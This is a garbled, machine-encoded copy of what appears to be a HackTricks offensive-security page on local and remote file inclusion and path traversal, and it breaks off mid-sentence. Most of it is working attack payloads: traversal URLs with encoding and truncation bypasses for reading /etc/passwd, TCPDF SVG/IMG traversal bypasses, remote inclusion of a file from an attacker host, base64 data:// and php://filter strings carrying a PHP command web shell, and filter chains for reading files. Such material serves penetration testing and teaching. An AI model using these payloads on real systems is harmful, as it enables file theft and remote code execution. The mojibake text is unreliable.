File Inclusion/Path traversal
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
File Inclusion
Remote File Inclusion (RFI): ํ์ผ์ด ์๊ฒฉ ์๋ฒ์์ ๋ก๋๋ฉ๋๋ค (์ต๊ณ ์ ๊ฒฝ์ฐ: ์ฝ๋๋ฅผ ์์ฑํ๋ฉด ์๋ฒ๊ฐ ์ด๋ฅผ ์คํํฉ๋๋ค). In php this is disabled by default (allow_url_include).
Local File Inclusion (LFI): ์๋ฒ๊ฐ ๋ก์ปฌ ํ์ผ์ ๋ก๋ํฉ๋๋ค.
์ทจ์ฝ์ ์ ์ฌ์ฉ์๊ฐ ์๋ฒ๊ฐ ๋ก๋ํ ํ์ผ์ ์ด๋ค ์์ผ๋ก๋ ์ ์ดํ ์ ์์ ๋ ๋ฐ์ํฉ๋๋ค.
์ทจ์ฝํ PHP functions: require, require_once, include, include_once
์ด ์ทจ์ฝ์ ์ ์ต์คํ๋ก์ํ๋ ๋ฐ ์ ์ฉํ ๋๊ตฌ: https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE ํ์ผ๋ค
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
*์ฌ๋ฌ nix LFI ๋ฆฌ์คํธ๋ฅผ ํผํฉํ๊ณ ๊ฒฝ๋ก๋ฅผ ์ถ๊ฐํ์ฌ ๋ง๋ ๋ฆฌ์คํธ:
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
Try also to change / for \
Try also to add ../../../../../
A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found here
Windows
๋ค์ํ wordlists์ ๋ณํฉ:
Try also to change / for \
Try also to remove C:/ and add ../../../../../
A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found here
OS X
linux์ LFI ๋ฆฌ์คํธ๋ฅผ ํ์ธํ์ธ์.
๊ธฐ๋ณธ LFI ๋ฐ ์ฐํ ๊ธฐ๋ฒ
All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
traversal sequences๊ฐ ๋น์ฌ๊ท์ ์ผ๋ก ์ ๊ฑฐ๋จ
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
์ ๊ณต๋ ๋ฌธ์์ด ๋์ ์ถ๊ฐ๋๋ ๋ฌธ์๋ค์ ์ฐํ (bypass of: $_GET[โparamโ].โphpโ)
http://example.com/index.php?page=../../../etc/passwd%00
์ด ๋ด์ฉ์ PHP 5.4 ์ดํ ํด๊ฒฐ๋์์ต๋๋ค
์ธ์ฝ๋ฉ
๋นํ์ค ์ธ์ฝ๋ฉ(์: double URL encode ๋ฑ)์ ์ฌ์ฉํ ์ ์์ต๋๋ค:
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
HTML-to-PDF SVG/IMG path traversal
์ต์ HTML-to-PDF ์์ง(์: TCPDF ๋๋ html2pdf ๊ฐ์ ๋ํผ)์ ๊ณต๊ฒฉ์๊ฐ ์ ๊ณตํ HTML, SVG, CSS ๋ฐ ํฐํธ URL์ ๊ธฐ๊บผ์ด ํ์ฑํ์ง๋ง, ์ด๋ค์ ํ์ผ์์คํ
์ ๊ทผ ๊ถํ์ด ์๋ ์ ๋ขฐ๋ ๋ฐฑ์๋ ๋คํธ์ํฌ ๋ด์์ ์คํ๋ฉ๋๋ค. $pdf->writeHTML()/Html2Pdf::writeHTML()์ HTML์ ์ฃผ์
ํ ์ ์๊ฒ ๋๋ฉด, ์น ์๋ฒ ๊ณ์ ์ด ์ฝ์ ์ ์๋ ๋ก์ปฌ ํ์ผ์ ์์ฃผ ์ ์ถํ ์ ์์ต๋๋ค.
- Fingerprint the renderer: ์์ฑ๋ PDF์๋ ํญ์
Producerํ๋(์:TCPDF 6.8.2)๊ฐ ํฌํจ๋ฉ๋๋ค. ์ ํํ ๋น๋๋ฅผ ์๋ฉด ์ด๋ค ๊ฒฝ๋ก ํํฐ๊ฐ ์กด์ฌํ๋์ง, ๊ฒ์ฆ ์ ์ URL ๋์ฝ๋ฉ์ด ๋ฐ์ํ๋์ง๋ฅผ ์ ์ ์์ต๋๋ค. - Inline SVG payloads:
TCPDF::startSVGElementHandler()๋<image>์์์xlink:href์์ฑ์urldecode()๋ฅผ ์คํํ๊ธฐ ์ ์ ์ฝ์ต๋๋ค. ์ ์ฑ SVG๋ฅผ data URI ์์ ์๋ฒ ๋ํ๋ฉด ๋ง์ HTML sanitizers๊ฐ ํ์ด๋ก๋๋ฅผ ๋ฌด์ํ์ง๋ง TCPDF๋ ์ฌ์ ํ ์ด๋ฅผ ํ์ฑํฉ๋๋ค:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />
TCPDF๋ /๋ก ์์ํ๋ ๊ฒฝ๋ก์ $_SERVER['DOCUMENT_ROOT']๋ฅผ prependํ๊ณ ..๋ ๋์ค์ ํด๊ฒฐํ๋ฏ๋ก, prepend ์ดํ root๋ฅผ ๋ฒ์ด๋๋ ค๋ฉด ์ ํ ../../.. ์ธ๊ทธ๋จผํธ ๋๋ /../../..๋ฅผ ์ฌ์ฉํ์ธ์.
- Encoding to bypass naive filters: Versions โค6.8.2 only check for the literal substring
../before decoding the URL. Sending..%2f(or..%2F) in the SVG or in a raw<img src>attribute bypasses the check, because the traversal dot-dot-slash sequence is recreated only after TCPDF callsurldecode(). - Double-encoding for multi-stage decoding: If user input is decoded by the web framework and by TCPDF, double-encode the slash (
%252f). One decode turns it into%2f, the second decode in TCPDF turns it into/, yielding/..%252f..โ/../../../โฆwithout ever showing../to the early filter. - HTML
<img>handler:TCPDF::openHTMLTagHandler()contains the same order-of-operations bug, allowing direct HTML payloads such assrc="%2f..%252f..%252ftmp%252fsecret.png"to read any locally reachable bitmap.
์ด ๊ธฐ๋ฒ์ PDF worker๊ฐ ์ฝ์ ์ ์๋ ๋ชจ๋ ๊ฒ์ leaks ํฉ๋๋ค (์ฌ๊ถ ์ค์บ, ์ด๋ฏธ์ง๋ก ๋ ๋๋ง๋ API keys ๋ฑ). Hardeners๋ ๊ฒฝ๋ก๋ฅผ ์ ๊ทํ(isRelativePath())ํ์ฌ 6.9.1์์ ์ด๋ฅผ ์์ ํ์ผ๋ฏ๋ก, ํ
์คํธ ์์๋ ๊ตฌ๋ฒ์ ์ Producer ๋ฒ์ ์ ์ฐ์ ์ ์ผ๋ก ์ฌ์ฉํ์ธ์.
๊ธฐ์กด ํด๋์์
๋ฐฑ์๋๊ฐ ํด๋ ๊ฒฝ๋ก๋ฅผ ํ์ธํ๊ณ ์์ ์๋ ์์ต๋๋ค:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Exploring File System Directories on a Server
์๋ฒ์ ํ์ผ ์์คํ ์ ํน์ ๊ธฐ๋ฒ์ ์ฌ์ฉํ์ฌ ํ์ผ๋ฟ๋ง ์๋๋ผ ๋๋ ํฐ๋ฆฌ๋ ์ฌ๊ท์ ์ผ๋ก ํ์ํ ์ ์๋ค. ์ด ๊ณผ์ ์ ๋๋ ํฐ๋ฆฌ์ ๊น์ด๋ฅผ ํ์ ํ๊ณ ํน์ ํด๋์ ์กด์ฌ๋ฅผ ํ์งํ๋ ๊ฒ์ ํฌํจํ๋ค. ์๋๋ ์ด๋ฅผ ๋ฌ์ฑํ๊ธฐ ์ํ ์์ธํ ๋ฐฉ๋ฒ์ด๋ค:
- ๋๋ ํฐ๋ฆฌ ๊น์ด ๊ฒฐ์ : ํ์ฌ ๋๋ ํฐ๋ฆฌ์ ๊น์ด๋
/etc/passwdํ์ผ์ ์ฑ๊ณต์ ์ผ๋ก ๊ฐ์ ธ์ ํ์ธํ๋ค(์๋ฒ๊ฐ Linux ๊ธฐ๋ฐ์ธ ๊ฒฝ์ฐ ์ ์ฉ). ์์ URL์ ๋ค์๊ณผ ๊ฐ์ด ๊ตฌ์ฑ๋ ์ ์์ผ๋ฉฐ, ๊น์ด(depth)๊ฐ 3์์ ๋ํ๋ธ๋ค:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- ํด๋ ํ์: ์์ฌ๋๋ ํด๋ ์ด๋ฆ(์:
private)์ URL์ ์ถ๊ฐํ ๋ค์, ๋ค์/etc/passwd๋ก ์ด๋ํฉ๋๋ค. ์ถ๊ฐ๋ ๋๋ ํฐ๋ฆฌ ๋ ๋ฒจ ๋๋ฌธ์ depth๋ฅผ ํ ๋จ๊ณ ์ฆ๊ฐ์์ผ์ผ ํฉ๋๋ค:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- ๊ฒฐ๊ณผ ํด์: ์๋ฒ์ ์๋ต์ ํด๋์ ์กด์ฌ ์ฌ๋ถ๋ฅผ ๋ํ๋ ๋๋ค:
- ์ค๋ฅ / ์ถ๋ ฅ ์์: ์ง์ ํ ์์น์
privateํด๋๊ฐ ์์ ๊ฐ๋ฅ์ฑ์ด ๋์ต๋๋ค. /etc/passwd์ ๋ด์ฉ:privateํด๋์ ์กด์ฌ๊ฐ ํ์ธ๋ฉ๋๋ค.
- ์ฌ๊ท์ ํ์: ๋ฐ๊ฒฌํ ํด๋๋ ๋์ผํ ๊ธฐ๋ฒ์ด๋ ๊ธฐ์กด์ Local File Inclusion (LFI) ๋ฐฉ๋ฒ์ผ๋ก ์๋ธ๋๋ ํ ๋ฆฌ๋ ํ์ผ์ ์ถ๊ฐ๋ก ํ์ํ ์ ์์ต๋๋ค.
ํ์ผ ์์คํ
์ ๋ค๋ฅธ ์์น์ ์๋ ๋๋ ํ ๋ฆฌ๋ฅผ ํ์ํ๋ ค๋ฉด payload๋ฅผ ์ ์ ํ ์กฐ์ ํ์ธ์. ์๋ฅผ ๋ค์ด, ํ์ฌ ๋๋ ํ ๋ฆฌ๊ฐ ๊น์ด 3์ ์๋ค๊ณ ๊ฐ์ ํ ๋ /var/www/์ private ๋๋ ํ ๋ฆฌ๊ฐ ์๋์ง ํ์ธํ๋ ค๋ฉด ๋ค์์ ์ฌ์ฉํ์ธ์:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Path truncation์ ์น ์ ํ๋ฆฌ์ผ์ด์ ์์ ํ์ผ ๊ฒฝ๋ก๋ฅผ ์กฐ์ํ๊ธฐ ์ํด ์ฌ์ฉํ๋ ๊ธฐ๋ฒ์ ๋๋ค. ์ฃผ๋ก ํ์ผ ๊ฒฝ๋ก ๋์ ์ถ๊ฐ ๋ฌธ์๋ฅผ ๋ถ์ด๋ ํน์ ๋ณด์ ์ฅ์น๋ฅผ ์ฐํํด ์ ๊ทผ์ด ์ ํ๋ ํ์ผ์ ์ ๊ทผํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค. ๋ชฉ์ ์ ๋ณด์ ์ฅ์น์ ์ํด ๋ณ๊ฒฝ๋ ํ์๋ ์ํ๋ ํ์ผ์ ๊ฐ๋ฆฌํค๋๋ก ํ์ผ ๊ฒฝ๋ก๋ฅผ ์ ๊ตํ๊ฒ ๋ง๋๋ ๊ฒ์ ๋๋ค.
In PHP์์๋ ํ์ผ ์์คํ ์ ํน์ฑ์ ํ์ผ ๊ฒฝ๋ก์ ์ฌ๋ฌ ํํ์ด ๋์ผํ ๊ฒ์ผ๋ก ๊ฐ์ฃผ๋ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด:
/etc/passwd,/etc//passwd,/etc/./passwd, and/etc/passwd/๋ ๋ชจ๋ ๋์ผํ ๊ฒฝ๋ก๋ก ์ฒ๋ฆฌ๋ฉ๋๋ค.- ๋ง์ง๋ง 6๋ฌธ์๊ฐ
passwd์ผ ๋, ๋ค์/๋ฅผ ์ถ๊ฐํดpasswd/๋ก ๋ง๋ค์ด๋ ๋์ ํ์ผ์ ๋ณ๊ฒฝ๋์ง ์์ต๋๋ค. - ๋ง์ฐฌ๊ฐ์ง๋ก ํ์ผ ๊ฒฝ๋ก์
.php๊ฐ ๋ถ์ ๊ฒฝ์ฐ(์:shellcode.php), ๋์/.๋ฅผ ์ถ๊ฐํด๋ ์ ๊ทผ๋๋ ํ์ผ์ ๋ณ๊ฒฝ๋์ง ์์ต๋๋ค.
๋ค์ ์์ ๋ค์ ๋ฏผ๊ฐํ ๋ด์ฉ(์ฌ์ฉ์ ๊ณ์ ์ ๋ณด) ๋๋ฌธ์ ํํ ๋ชฉํ๊ฐ ๋๋ /etc/passwd์ ์ ๊ทผํ๊ธฐ ์ํด Path truncation์ ํ์ฉํ๋ ๋ฐฉ๋ฒ์ ๋ณด์ฌ์ค๋๋ค:
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
์ด๋ฌํ ์๋๋ฆฌ์ค์์๋ ํ์ํ ../ ํ์๊ฐ ์ฝ 2027๊ฐ์ผ ์ ์์ง๋ง, ์ด ์ซ์๋ ์๋ฒ ๊ตฌ์ฑ์ ๋ฐ๋ผ ๋ฌ๋ผ์ง ์ ์์ต๋๋ค.
- ์ ์ธ๊ทธ๋จผํธ์ ์ถ๊ฐ ๋ฌธ์ ์ฌ์ฉ: Traversal ์ํ์ค (
../)์ ์ถ๊ฐ์ ์ธ ์ ์ธ๊ทธ๋จผํธ์ ๋ฌธ์๋ฅผ ๊ฒฐํฉํ๋ฉด ํ์ผ ์์คํ ์ ํ์ํ ์ ์์ผ๋ฉฐ, ์๋ฒ๊ฐ ๋ง๋ถ์ธ ๋ฌธ์์ด์ ํจ๊ณผ์ ์ผ๋ก ๋ฌด์ํ ์ ์์ต๋๋ค. - ํ์ํ ../ ํ์ ๊ฒฐ์ : ์ํ์ฐฉ์ค๋ฅผ ํตํด ๋ฃจํธ ๋๋ ํฐ๋ฆฌ๋ก ์ด๋ํ ๋ค
/etc/passwd์ ๋๋ฌํ๊ธฐ ์ํด ํ์ํ ์ ํํ../์ํ์ค ์๋ฅผ ์ฐพ์ ์ ์์ผ๋ฉฐ, ์ด๋ ๋ง๋ถ์ฌ์ง ๋ฌธ์์ด(์:.php)์ ๋ฌด๋ ฅํ๋์ง๋ง ์ํ๋ ๊ฒฝ๋ก(/etc/passwd)๋ ๊ทธ๋๋ก ์ ์ง๋ฉ๋๋ค. - ๊ฐ์ง ๋๋ ํฐ๋ฆฌ๋ก ์์ํ๊ธฐ: ๊ฒฝ๋ก๋ฅผ ์กด์ฌํ์ง ์๋ ๋๋ ํฐ๋ฆฌ(์:
a/)๋ก ์์ํ๋ ๊ฒ์ ์ผ๋ฐ์ ์ธ ๊ดํ์ ๋๋ค. ์ด ๊ธฐ๋ฒ์ ์๋ฐฉ ์กฐ์น๋ก ์ฌ์ฉ๋๊ฑฐ๋ ์๋ฒ์ ๊ฒฝ๋ก ํ์ฑ ๋ก์ง ์๊ตฌ์ฌํญ์ ์ถฉ์กฑ์ํค๊ธฐ ์ํด ์ฌ์ฉ๋ฉ๋๋ค.
When employing path truncation techniques, ์๋ฒ์ ๊ฒฝ๋ก ํ์ฑ ๋์๊ณผ ํ์ผ์์คํ ๊ตฌ์กฐ๋ฅผ ์ดํดํ๋ ๊ฒ์ด ์ค์ํฉ๋๋ค. ๊ฐ ์๋๋ฆฌ์ค์ ๋ฐ๋ผ ๋ค๋ฅธ ์ ๊ทผ๋ฒ์ด ํ์ํ ์ ์์ผ๋ฉฐ, ๊ฐ์ฅ ํจ๊ณผ์ ์ธ ๋ฐฉ๋ฒ์ ์ฐพ๊ธฐ ์ํด ํ ์คํธ๊ฐ ์์ฃผ ํ์ํฉ๋๋ค.
์ด ์ทจ์ฝ์ ์ PHP 5.3์์ ์์ ๋์์ต๋๋ค.
ํํฐ ์ฐํ ๊ธฐ๋ฒ
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
php์์๋ ๊ธฐ๋ณธ์ ์ผ๋ก ๋นํ์ฑํ๋์ด ์์ต๋๋ค. ์ด๋ **allow_url_include**๊ฐ Off. ์ด๊ธฐ ๋๋ฌธ์
๋๋ค. ์๋ํ๋ ค๋ฉด On์ด์ด์ผ ํ๋ฉฐ, ๊ทธ ๊ฒฝ์ฐ ์๋ฒ์์ PHP ํ์ผ์ includeํ์ฌ RCE๋ฅผ ์ป์ ์ ์์ต๋๋ค:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
๋ง์ฝ ์ด๋ค ์ด์ ๋ก **allow_url_include**๊ฐ On์ธ๋ฐ PHP๊ฐ ์ธ๋ถ ์นํ์ด์ง ์ ๊ทผ์ filteringํ๊ณ ์๋ค๋ฉด, according to this post, ์๋ฅผ ๋ค์ด data protocol๊ณผ base64๋ฅผ ์ฌ์ฉํด b64 PHP ์ฝ๋๋ฅผ ๋์ฝ๋ํ์ฌ egt RCE:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
Tip
์ด์ ์ฝ๋์์๋ ๋ง์ง๋ง์
+.txt๊ฐ ์ถ๊ฐ๋์๋๋ฐ, ๊ณต๊ฒฉ์๊ฐ.txt๋ก ๋๋๋ ๋ฌธ์์ด์ ํ์๋ก ํ๊ธฐ ๋๋ฌธ์ ๋๋ค. ๋ฐ๋ผ์ ๋ฌธ์์ด์ ๊ทธ๊ฒ์ผ๋ก ๋๋๊ณ b64 decode ํ ๊ทธ ๋ถ๋ถ์ ๋จ์ง junk๋ฅผ ๋ฐํํ๋ฉฐ ์ค์ PHP ์ฝ๋๋ ํฌํจ๋์ด(๋ฐ๋ผ์ ์คํ)๋ฉ๋๋ค.
๋ ๋ค๋ฅธ ์์๋ก php:// ํ๋กํ ์ฝ์ ์ฌ์ฉํ์ง ์๋ ๊ฒฝ์ฐ๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Python ๋ฃจํธ ์์
๋ค์๊ณผ ๊ฐ์ Python ์ฝ๋์์:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
์ฌ์ฉ์๊ฐ absolute path๋ฅผ **file_name**์ ์ ๋ฌํ๋ฉด, previous path is just removed:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
์ด๋ the docs:
๊ตฌ์ฑ ์์๊ฐ ์ ๋ ๊ฒฝ๋ก์ธ ๊ฒฝ์ฐ, ์ด์ ์ ๋ชจ๋ ๊ตฌ์ฑ ์์๋ ๋ฒ๋ ค์ง๊ณ ๊ฒฐํฉ์ ์ ๋ ๊ฒฝ๋ก ๊ตฌ์ฑ ์์์์ ๊ณ์๋ฉ๋๋ค.
Java ๋๋ ํ ๋ฆฌ ๋ชฉ๋ก
Java์์ Path Traversal์ด ์๊ณ ํ์ผ ๋์ ๋๋ ํ ๋ฆฌ๋ฅผ ์์ฒญํ๋ฉด, ๋๋ ํ ๋ฆฌ ๋ชฉ๋ก์ด ๋ฐํ๋๋ ๊ฒ์ผ๋ก ๋ณด์ ๋๋ค. ๋ค๋ฅธ ์ธ์ด์์๋(๋ด๊ฐ ์๊ธฐ๋ก๋) ์ด๋ฐ ์ผ์ด ๋ฐ์ํ์ง ์์ต๋๋ค.
์์ 25๊ฐ ๋งค๊ฐ๋ณ์
๋ค์์ local file inclusion (LFI) vulnerabilities์ ์ทจ์ฝํ ์ ์๋ ์์ 25๊ฐ ๋งค๊ฐ๋ณ์ ๋ชฉ๋ก์ ๋๋ค (์ถ์ฒ: link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
PHP wrappers ๋ฐ ํ๋กํ ์ฝ์ ์ด์ฉํ LFI / RFI
php://filter
PHP filters๋ ๋ฐ์ดํฐ๋ฅผ ์ฝ๊ฑฐ๋ ์ฐ๊ธฐ ์ ์ ๊ธฐ๋ณธ์ ์ธ ์์ ์์ ์ ์ํํ ์ ์๊ฒ ํด์ค๋๋ค. ํํฐ๋ 5๊ฐ์ง ์นดํ ๊ณ ๋ฆฌ๋ก ๋๋ฉ๋๋ค:
- String Filters:
string.rot13string.toupperstring.tolowerstring.strip_tags: ๋ฐ์ดํฐ์์ ํ๊ทธ ์ ๊ฑฐ( โ<โ ์ โ>โ ๋ฌธ์ ์ฌ์ด์ ๋ชจ๋ ๋ด์ฉ)- Note that this filter has disappear from the modern versions of PHP
- Conversion Filters
convert.base64-encodeconvert.base64-decodeconvert.quoted-printable-encodeconvert.quoted-printable-decodeconvert.iconv.*: ๋ค๋ฅธ ์ธ์ฝ๋ฉ์ผ๋ก ๋ณํํฉ๋๋ค(convert.iconv.<input_enc>.<output_enc>). ์ง์๋๋ ๋ชจ๋ ์ธ์ฝ๋ฉ์ ๋ชฉ๋ก์ ์ป์ผ๋ ค๋ฉด ์ฝ์์์ ๋ค์์ ์คํํ์ธ์:iconv -l
Warning
Abusing the
convert.iconv.*conversion filter you can generate arbitrary text, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check LFI2RCE via php filters.
- Compression Filters
zlib.deflate: ์ฝํ ์ธ ๋ฅผ ์์ถ(๋ง์ ์ ๋ณด๋ฅผ exfiltrateํ ๋ ์ ์ฉ)zlib.inflate: ๋ฐ์ดํฐ๋ฅผ ์์ถ ํด์ - Encryption Filters
mcrypt.*: ์ฌ์ฉ ์ค๋จ๋จmdecrypt.*: ์ฌ์ฉ ์ค๋จ๋จ- Other Filters
- php์์
var_dump(stream_get_filters());๋ฅผ ์คํํ๋ฉด ๋ช ๊ฐ์ง ์์์น ๋ชปํ ํํฐ๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค: consumeddechunk: HTTP chunked ์ธ์ฝ๋ฉ์ ์ญ๋ณํconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,ยฃhellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
Warning
โphp://filterโ ๋ถ๋ถ์ ๋์๋ฌธ์๋ฅผ ๊ตฌ๋ถํ์ง ์์ต๋๋ค
php filters๋ฅผ oracle๋ก ์ฌ์ฉํด ์์ ํ์ผ ์ฝ๊ธฐ
In this post ์์๋ ์๋ฒ์์ ์ถ๋ ฅ์ด ๋ฐ๋ก ๋ฐํ๋์ง ์์๋ ๋ก์ปฌ ํ์ผ์ ์ฝ์ ์ ์๋ ๊ธฐ๋ฒ์ ์ ์ํ๋ค. ์ด ๊ธฐ๋ฒ์ boolean exfiltration of the file (char by char) using php filters ์ oracle๋ก ์ฌ์ฉํ๋ ๋ฐฉ์์ ๊ธฐ๋ฐํ๋ค. ์ด๋ php filters๊ฐ ํ ์คํธ๋ฅผ ์ถฉ๋ถํ ํฌ๊ฒ ๋ง๋ค์ด php๊ฐ ์์ธ๋ฅผ ๋ฐ์์ํค๊ฒ ํ ์ ์๊ธฐ ๋๋ฌธ์ด๋ค.
์๋ฌธ ํฌ์คํธ์์ ๊ธฐ๋ฒ์ ๋ํ ์์ธํ ์ค๋ช ์ ์ฐพ์ ์ ์์ง๋ง, ์ฌ๊ธฐ์๋ ๊ฐ๋จํ ์์ฝ์ ์ ๊ณตํ๋ค:
- ์ฝ๋ฑ **
UCS-4LE**๋ฅผ ์ฌ์ฉํ์ฌ ํ ์คํธ์ ์ ๋ ๋ฌธ์๋ฅผ ์์ ๋จ๊ธฐ๊ณ ๋ฌธ์์ด์ ํฌ๊ธฐ๊ฐ ๊ธฐํ๊ธ์์ ์ผ๋ก ์ฆ๊ฐํ๋๋ก ํ๋ค. - ์ด๋ ์ด๊ธฐ ๋ฌธ์๊ฐ ์ฌ๋ฐ๋ฅด๊ฒ ์ถ์ ๋์์ ๋ php๊ฐ ํธ๋ฆฌ๊ฑฐํ ๋งํผ ๋งค์ฐ ํฐ ํ ์คํธ๋ฅผ ์์ฑํ๊ธฐ ์ํด ์ฌ์ฉ๋๋ค(php๊ฐ ์ค๋ฅ๋ฅผ ๋ฐ์).
- dechunk ํํฐ๋ ์ฒซ ๋ฌธ์๊ฐ hexadecimal์ด ์๋๋ฉด ๋ชจ๋ ๊ฒ์ ์ ๊ฑฐํ๋ฏ๋ก, ์ฒซ ๋ฌธ์๊ฐ hex์ธ์ง ์ฌ๋ถ๋ฅผ ์ ์ ์๋ค.
- ์์ ๊ฒ๊ณผ ๊ฒฐํฉํ๋ฉด(๋ฐ ์ถ์ ํ ๋ฌธ์์ ๋ฐ๋ผ ๋ค๋ฅธ ํํฐ๋ค๊ณผ ํจ๊ป) ์ถฉ๋ถํ ๋ณํ์ ์ํํ์ ๋ ํด๋น ๋ฌธ์๊ฐ ๋ ์ด์ hexadecimal ๋ฌธ์๊ฐ ๋์ง ์๋ ์์ ์ ๋ณด๊ณ ํ ์คํธ์ ์ฒซ ๊ธ์๋ฅผ ์ถ์ธกํ ์ ์๊ฒ ๋๋ค. ๋ง์ฝ hex์ด๋ฉด dechunk๊ฐ ์ญ์ ํ์ง ์๊ณ ์ด๊ธฐ ํญํ(initial bomb)์ด php ์ค๋ฅ๋ฅผ ๋ฐ์์ํจ๋ค.
- ์ฝ๋ฑ convert.iconv.UNICODE.CP930์ ๋ชจ๋ ๋ฌธ์๋ฅผ ๋ค์ ๋ฌธ์๋ก ๋ณํํ๋ค(์: ์ด ์ฝ๋ฑ ์ ์ฉ ํ: a -> b). ๋ฐ๋ผ์ ์๋ฅผ ๋ค์ด ์ฒซ ๋ฌธ์๊ฐ
